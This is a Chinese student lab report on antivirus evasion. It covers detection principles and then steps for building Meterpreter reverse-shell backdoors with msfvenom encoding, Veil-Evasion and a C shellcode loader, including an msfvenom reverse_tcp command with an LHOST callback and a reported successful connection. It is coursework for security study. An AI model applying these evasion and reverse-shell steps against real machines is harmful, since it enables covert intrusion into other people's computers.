2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践
报告内容
2.1.基础问题回答
(1)杀软是如何检测出恶意代码的 ?
1:基于特征码
一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。
2.启发式恶意软件检测
在课堂上,老师让王昊同学翻译了这个句子。
也就是代表了启发式恶意软件检测
When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.
(2)免杀是做什么?
就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。
(3)免杀的基本方法有哪些?
1.改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的
2.改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。
3.非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。
实践内容
1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(1分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
一、msfvenom直接生成meterpreter可执行文件
首先我们还是要查看主机和虚拟机的IP地址
虚拟机IP

主机IP



生成的后门程序如下:

我们发现必须将后门名称修改后才可以继续进行扫描,我将后门名字改成了155309

在http://www.virscan.org/网址上对自己的后门程序进行扫描


二、Msfvenom使用编码器生成meterpreter可执行文件
(一)一次编码
1.在虚拟机中生成可执行文件20155309_backdoor.exe

2.将可执行文件传到主机中
3.在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来。

看到还是19/39的软件能够查到病毒
(二)多次编码
1.在虚拟机中将恶意代码编译十次

2.从虚拟机将文件传到主机


3.检测出有21/39的杀软查出了病毒,看来杀软对于多次编码的病毒大部分还是能够防御的
三、使用Veil-Evasion生成可执行文件
1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:
首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示

第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:

点击system中的sharling即可。

第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil;接着进入veil-evasion,在veil中输入命令:use evasion,如下图所示:


查看kali虚拟机的IP地址:

3.输入命令:use python/meterpreter/rev_tcp.py用python语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):

4.设置反弹连接IP,命令为:set LHOST 127.0.0.1,注意此处的IP是KaliIP;
5.设置端口,命令为:set LPORT 5309
6.输入generate生成文件,接着输入你想要playload的名字:playload5309



选择第一种默认方式生成:1

这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,在第一种方法中把use python/meterpreter/rev_tcp.py改成use c/meterpreter/rev_tcp.py,其他步骤完全相同。

去/var/lib/veil/output/compiled/playload5309.exe这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5309.exe 把这个文件复制到我们熟悉的路径下


C语言调用Shellcode版本
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=5309 -f c
用c语言生成一段shellcode;

将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VS编译运行




回连
回连成功

实践总结与体会
这次实验我觉得自己最大的体会就是,虽然以前设想过如果是个人编出的一个恶意代码,因为它的小众化所以不会流行在市面上以至于被杀毒软件加进病毒库中,没有想过这样的想法是非常容易实现的。但是从另一个方面,恶意代码虽然可以想办法绕过甚至骗过我们安装的各种杀毒软件,但它始终会在我们的电脑里留下痕迹,比如电脑莫名的卡,或是在某个文件夹下莫名出现之前并没有安装的程序等等。提高我们的防范意识,可能不能完全解决恶意代码的入侵,但是能够一定程度上的限制恶意代码。
2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- Exp3 免杀原理与实践 20164303 景圣
Exp3 免杀原理与实践 一.实验内容 1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 2. 通过组合 ...
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告 实验前准备 安装Veil-Evasion 直接使用Kali快速安装命令,拒绝采用git安装命令 apt-get -y install veil-e ...
- 20155339 Exp3 免杀原理与实践
20155339 Exp3 免杀原理与实践 基础问题 (1)杀软是如何检测出恶意代码的? 基于特征码的检测(杀软的特征库中包含了一些数据或者数据段,杀软会尽可能的更新这个特征库,以包括尽可能多的恶意代 ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
随机推荐
- ActiveMQ进阶配置
配置web管理页面的安全认证 配置web管理页面的绑定IP和端口 配置MQ连接的安全认证 禁用不使用的连接协议 绑定协议连接端口到指定IP 使用MySql作为持久化保存 配置基于JDBC的高可用环境 ...
- GET_WHEEL_DELTA_WPARAM宏在C#
1.高位字,署名: ((short)(wParam>>16)) 2. 为了获得最大的清晰,我会定义一组这样的函数: internal static class NativeMethods ...
- 淘淘商城之springmvc前端控制器
一.web.xml <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi=&qu ...
- DHCP服务洪水攻击
1.攻击原理 动态主机设置协议是一个局域网的网络协议,使用UDP协议工作,主要有两个用途: 为内部网络或网络服务供应商自动分配IP地址给用户,以作为内部网络管理员对所有计算机做中央管理的手段. 在正常 ...
- C++中返回值
函数的返回值用于初始化在调用函数是创建的临时对象. 1.返回值为非引用类型: 会将函数的返回值复制给临时对象.跟实参初始化形参的方式一样. 2.返回值为引用类型: 没有复制返回值,返回的是对象本身.返 ...
- Java SE之基本程序设计结构
概述: 0.注释 1.基本数据类型(有且仅有8个): 1.1 整型:int,short,long,byte(表示一个字节,[-128,127]) 1.2 ...
- HDU4685 Prince and Princess【强连通】
题意: 有n个王子和m个公主,每个王子都会喜欢若干个公主,也就是王子只跟自己喜欢的公主结婚,公主就比较悲惨, 跟谁结婚都行.然后输出王子可能的结婚对象,必须保证王子与任意这些对象中的一个结婚,都不会影 ...
- PhoneUtil
package cn.fraudmetrix.octopus.horai.biz.utils; import org.springframework.util.StringUtils; import ...
- [JSOI2008]球形空间产生器 (高斯消元)
[JSOI2008]球形空间产生器 \(solution:\) 非常明显的一道高斯消元.给了你n+1个球上的位置,我们知道球上任何一点到球心的距离是相等,所以我们 可以利用这一个性质.我们用n+1个球 ...
- C语言文件操作详解
C语言中没有输入输出语句,所有的输入输出功能都用 ANSI C提供的一组标准库函数来实现.文件操作标准库函数有: 文件的打开操作 fopen 打开一个文件 文件的关闭操作 fclose 关闭一个文件 ...